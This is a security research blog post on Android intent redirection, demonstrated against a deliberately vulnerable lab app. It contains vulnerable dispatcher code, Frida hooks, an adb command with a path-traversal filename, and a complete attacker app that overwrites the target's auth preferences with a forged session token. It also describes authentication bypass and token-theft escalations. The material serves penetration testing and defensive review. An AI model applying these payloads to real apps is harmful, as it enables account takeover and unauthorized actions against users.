Intent redirection is the bug that explains why a properly permission protected internal activity can still be reached by any installed third-party app. The reason is rarely the protection on the internal activity. It is the exported activity sitting in front of it that forwards traffic on without checking what it is forwarding.
The Parcelable post covered one shape of this. There is a more general version — apps that take a regular Intent (not specifically a Parcelable extra), construct a new Intent based on it, and forward it. The forwarding may look correct in code review because the developer is filtering some fields. Almost always, they are filtering the wrong fields.
Vulnerable demo: VulnLabApp. File: android/app/src/main/java/com/vulnlab/app/activities/IntentRedirectorActivity.java.
The pattern
A common entry point is a notification dispatcher, a deep-link router, or an analytics interstitial. The exported activity takes a target string, reflects it into a class reference, and forwards every extra it received. VulnLabApp’s IntentRedirectorActivity ships exactly this shape:
1
2
3
4
5
6
7
8
9
10
11
12
13
String target = incoming.getStringExtra("target");
if (target != null) {
try {
Class<?> cls = Class.forName("com.vulnlab.app.activities." + target);
Intent next = new Intent(this, cls);
next.putExtras(incoming); // VULN: forwards ALL extras
startActivity(next);
} catch (ClassNotFoundException e) {
tvOutput.setText("Unknown target: " + target);
}
finish();
return;
}
The developer thinks this is safe because target is a short class name that gets prefixed with the app’s own package — it can only resolve to a class that already exists in the app. What they missed is next.putExtras(incoming) — every extra the attacker supplied is forwarded into the resolved activity, including extras that the internal activity reads for sensitive decisions.
If FileWriteActivity reads intent.getStringExtra("filename") and writes it to disk without re-validating the caller, the attacker just told the dispatcher “route me to FileWriteActivity” and the dispatcher faithfully forwarded the filename and content extras to it. The same IntentRedirectorActivity also ships a next_intent Parcelable forwarder (Pattern 1 in the file) — same problem, but the attacker hands over a fully-formed Intent instead of a string.
Spotting the vulnerable shape
Three code patterns to grep for:
1
2
3
next.putExtras(getIntent());
next.putExtras(getIntent().getExtras());
next.setData(getIntent().getData());
Each of those is forwarding attacker input to a downstream activity wholesale. If the downstream activity reads any extras for authorization decisions, identity binding, or URL loading, the exported dispatcher is your entry point.
A second pattern — explicit but still vulnerable:
1
2
3
4
5
Intent next = new Intent(this, PaymentConfirmActivity.class);
next.putExtra("amount", getIntent().getStringExtra("amount"));
next.putExtra("recipient", getIntent().getStringExtra("recipient"));
next.putExtra("token", SessionStore.token()); // app supplies the token
startActivity(next);
The internal PaymentConfirmActivity is non-exported, so direct launch is not possible. But it is reachable through the dispatcher with attacker-controlled amount and recipient. The token comes from the user’s session. The attacker just wired a transfer from the user’s account to a recipient they chose.
The runtime confirmation
To verify before writing the report, hook every startActivity call in the dispatcher and the downstream activity:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Java.perform(function () {
const Activity = Java.use('android.app.Activity');
Activity.startActivity.overload('android.content.Intent').implementation = function (intent) {
const cn = intent.getComponent();
const extras = intent.getExtras();
let dump = '(none)';
if (extras) {
const keys = []; const it = extras.keySet().iterator();
while (it.hasNext()) keys.push(String(it.next()));
dump = keys.join(', ');
}
console.log('[startActivity] ' + (cn ? cn.flattenToString() : 'implicit') +
' extras={' + dump + '}');
return this.startActivity(intent);
};
});
Fire the dispatcher with adb shell am start -n com.vulnlab.app/.activities.IntentRedirectorActivity --es target FileWriteActivity --es filename "../shared_prefs/auth_prefs.xml" --es content "<map/>" and watch the trace. If the second [startActivity] line shows FileWriteActivity being launched with the filename and content extras intact, the forwarding is wholesale and you have a finding.
The attacker app
The dispatcher is exported. Any installed app can launch it with arbitrary extras:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent dispatch = new Intent();
dispatch.setClassName("com.vulnlab.app",
"com.vulnlab.app.activities.IntentRedirectorActivity");
// Tell the dispatcher to route us to FileWriteActivity, and supply the
// filename + content extras that FileWriteActivity will use to write
// an arbitrary file into the target's data directory.
dispatch.putExtra("target", "FileWriteActivity");
dispatch.putExtra("filename", "../shared_prefs/auth_prefs.xml");
dispatch.putExtra("content",
"<?xml version='1.0' encoding='utf-8'?><map>" +
"<string name=\"session_token\">attacker</string></map>");
dispatch.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(dispatch);
}
}
The trick is knowing what extras the downstream activity reads. Two ways to find that:
The slow way — decompile each candidate downstream activity (FileWriteActivity, ReflectionActivity, WebViewActivity, etc.) and grep each for getStringExtra / getIntExtra / getBooleanExtra. The names of those extras are the levers you have available.
The fast way — hook getStringExtra on the relevant activity classes and trigger the dispatcher with junk values. The log shows you exactly which extra names the activity asked for:
1
2
3
4
5
6
7
Java.perform(function () {
const Intent = Java.use('android.content.Intent');
Intent.getStringExtra.implementation = function (key) {
console.log('[getStringExtra] caller-class=' + Java.use('java.lang.Thread').currentThread().getStackTrace()[2].getClassName() + ' key=' + key);
return this.getStringExtra(key);
};
});
You launch the dispatcher once, the trace shows every extra key every downstream activity tried to read, you build the attacker Intent accordingly.
Three impact-escalation patterns
The “open the victim’s profile” example above is the entry-level case — IDOR via dispatcher. The real impacts cluster into three buckets.
Authentication bypass. Internal activities often assume that being reached implies the user already passed the login screen. If WalletActivity checks no session state because in the normal flow you can only reach it after login, the attacker’s dispatcher-forwarded launch bypasses the login screen entirely. The activity loads, the OnCreate runs, the API calls fire with the user’s still-valid session token.
State injection on sensitive screens. Same as the wallet example, but instead of “open the wallet” you supply extras that pre-fill a transaction. Some activities are designed to be reached with extras that pre-populate amount fields, recipient fields, or “remember this device” toggles. The attacker controls those extras through the dispatcher.
Token exfiltration via internal callback handlers. Apps with OAuth or magic-link flows often have a non-exported CallbackHandlerActivity that reads a redirect_uri extra, fetches the user’s auth token, and POSTs it to the redirect URI. Designed to be reached only from the legitimate OAuth dance. Reachable in practice through any forwarding dispatcher.
Why this is underreported
Two reasons.
First, the bug is in the wholesale putExtras line, not in any of the downstream activities. Static analysers that score components individually do not see the chain. The dispatcher looks safe in isolation (it only forwards based on a fixed string mapping) and the downstream activity looks safe in isolation (it is not exported). The bug is the line connecting them.
Second, the impact depends entirely on what extras the downstream activity reads. A penetration tester who finds the dispatcher and stops at “reachable but I do not know what to do with it” submits a low-severity finding. The same tester who hooks every getStringExtra for ten minutes and finds three sensitive extra names submits a critical-severity chain.
Closing
Intent redirection is the bug that lets you reach activities the developer explicitly marked non-exported, with extras the developer thought only their own code would supply. The exported front door does not need to do anything dangerous itself — it just needs to forward what you gave it without checking. If you find a dispatcher / router / interstitial activity, the work is in finding the most sensitive downstream activity it can route to and the most useful extra it will forward into that activity.
The bounty triage on these usually lands at high or critical because the impact is direct on internal app state — not “redirect to my site” but “perform this action as the victim.”
Happy Hacking !!